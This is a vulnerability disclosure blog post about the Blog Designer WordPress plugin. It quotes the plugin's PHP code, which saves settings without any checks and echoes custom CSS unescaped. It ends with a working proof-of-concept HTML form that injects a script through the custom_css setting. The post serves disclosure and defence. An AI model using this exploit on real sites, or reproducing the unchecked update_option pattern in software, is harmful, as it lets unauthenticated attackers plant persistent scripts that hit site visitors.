30 Apr

WordPress Paints a Target on Exploitable Settings Change Vulnerability That Permits Persistent XSS in Blog Designer

Almost a month ago we noted why it is so problematic to close popular WordPress plugins that contain undisclosed but serious security vulnerabilities in discussing a settings change vulnerability that permits persistent cross-site scripting (XSS) in the plugin Related Posts and unfortunately here we are seeing the same exact situation again with the plugin Blog Designer. Maybe we shouldn’t be surprised of that considering that the situation with Related Posts wasn’t properly resolved.

Late last year after seeing evidence that hackers were monitoring for the closure of popular plugins and then looking to see if they have security vulnerabilities, we started doing the same so that we could better keep our customers warned of vulnerabilities ahead of hackers finding and exploiting them. It would be much better if the WordPress team would work with others to improve their handling of insecure plugins to avoid situations like that in the first place, but so far they haven’t shown an interest in that, so here we are again.

Through that we were notified that Blog Designer, which has 30,000+ installs, was closed on the Plugin Directory yesterday. When we started our standard quick security checks we do of those closed popular plugins we immediately found that it contains a settings change vulnerability that permits persistent cross-site scripting (XSS). We really mean immediately, as the first thing we checked led directly to it.

In the file /blog-designer.php the function wp_blog_designer_save_settings() will update the plugin’s settings:

714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
function wp_blog_designer_save_settings() {
	if (isset($_REQUEST['action']) && $_REQUEST['action'] === 'save' && isset($_REQUEST['updated']) && $_REQUEST['updated'] === 'true') {
		if (isset($_POST['blog_page_display'])) {
			update_option("blog_page_display", $_POST['blog_page_display']);
		}
		if (isset($_POST['posts_per_page'])) {
			update_option("posts_per_page", $_POST['posts_per_page']);
		}
		if (isset($_POST['rss_use_excerpt'])) {
			update_option("rss_use_excerpt", $_POST['rss_use_excerpt']);
		}
		if (isset($_POST['display_date'])) {
			update_option("display_date", $_POST['display_date']);
		}
		if (isset($_POST['display_author'])) {
			update_option("display_author", $_POST['display_author']);
		}
		if (isset($_POST['display_sticky'])) {
			update_option("display_sticky", $_POST['display_sticky']);
		}
		if (isset($_POST['display_category'])) {
			update_option("display_category", $_POST['display_category']);
		}
		if (isset($_POST['display_tag'])) {
			update_option("display_tag", $_POST['display_tag']);
		}
		if (isset($_POST['txtExcerptlength'])) {
			update_option("excerpt_length", $_POST['txtExcerptlength']);
		}
		if (isset($_POST['display_html_tags'])) {
			update_option("display_html_tags", $_POST['display_html_tags']);
		} else {
			update_option("display_html_tags", 0);
		}
		if (isset($_POST['readmore_on'])) {
			update_option("read_more_on", $_POST['readmore_on']);
		}
		if (isset($_POST['txtReadmoretext'])) {
			update_option("read_more_text", $_POST['txtReadmoretext']);
		}
		if (isset($_POST['template_alternativebackground'])) {
			update_option("template_alternativebackground", $_POST['template_alternativebackground']);
		}
		if (isset($_POST['social_icon_style'])) {
			update_option("social_icon_style", $_POST['social_icon_style']);
		}
		if (isset($_POST['social_share'])) {
			update_option("social_share", $_POST['social_share']);
		}
		if (isset($_POST['facebook_link'])) {
			update_option("facebook_link", $_POST['facebook_link']);
		}
		if (isset($_POST['twitter_link'])) {
			update_option("twitter_link", $_POST['twitter_link']);
		}
		if (isset($_POST['google_link'])) {
			update_option("google_link", $_POST['google_link']);
		}
		if (isset($_POST['pinterest_link'])) {
			update_option("pinterest_link", $_POST['pinterest_link']);
		}
		if (isset($_POST['linkedin_link'])) {
			update_option("linkedin_link", $_POST['linkedin_link']);
		}
		if (isset($_POST['display_comment_count'])) {
			update_option("display_comment_count", $_POST['display_comment_count']);
		}
		if (isset($_POST['template_titlefontsize'])) {
			update_option("template_titlefontsize", $_POST['template_titlefontsize']);
		}
		if (isset($_POST['content_fontsize'])) {
			update_option("content_fontsize", $_POST['content_fontsize']);
		}
		if (isset($_POST['custom_css'])) {
			update_option("custom_css", stripslashes($_POST['custom_css']));
		}

There are no security checks done there and there isn’t any sanitization or validation done of the new values for the settings.

We ran across that because the first thing we looked for in the plugin was insecure code using the update_option() function, since that has recently been involved in multiple widely exploited vulnerabilities in WordPress plugins.

The lack of security checks is a big problem because that function runs during admin_init, which means that it will run even when someone is not logged in to WordPress:

30
add_action('admin_init', 'wp_blog_designer_save_settings', 10);

So anyone change the plugin’s settings.

A setting that can be set in that function immediately stood out, since it is for setting custom CSS, which based on our past experience looking at many vulnerabilities over the years, likely would be output without being escaped, leading to persistent XSS.

That in fact occurs, as the value is brought in the file /designer_css.php here:

17
$custom_css = get_option('custom_css');

And then output without being escaped:

317
<?php echo $custom_css; ?>

That file gets included when the function wp_blog_designer_stylesheet() runs on non-admin pages:

1007
1008
1009
1010
1011
1012
function wp_blog_designer_stylesheet() {
	if (!is_admin()) {
		$stylesheet = dirname(__FILE__) . '/designer_css.php';
 
		if (file_exists($stylesheet)) {
			include('designer_css.php');
33
add_action('wp_head', 'wp_blog_designer_stylesheet', 20);

With the obviousness of this very exploitable vulnerability the team running the Plugin Directory should have already fixed this if the developer wasn’t immediately going to do it, instead of closing it. We have repeatedly offered to provide fixes for unfixed vulnerabilities likely to be exploited so that team wouldn’t even have to almost any work to avoid this type of situation.

While we are sure it isn’t going to matter, we will point out again how easy it was to find this and so the proof of concept below is not giving anything away that hackers couldn’t figure out on their own, much less with the details of the underlying code (which other security companies provide in posts while disingenuously claiming that proof of concepts somehow alone would let hackers know about vulnerabilities).

The vulnerability has existed for nearly four years, without apparently being noticed, which is yet another reminder that WordPress plugins are not getting the level of security scrutiny they need.

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Proof of Concept

The following proof of concept will cause an alert box with the message “XSS” to be shown on frontend pages of the website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-post.php?action=save&updated=true" method="POST">
<input type="hidden" name="custom_css" value='</style><script>alert("XSS");</script>' />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.


Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service you can suggest/vote for the plugins you use to receive a security review from us. You can start using the service for free when you sign up now.

Leave a Reply

Your email address will not be published. Required fields are marked *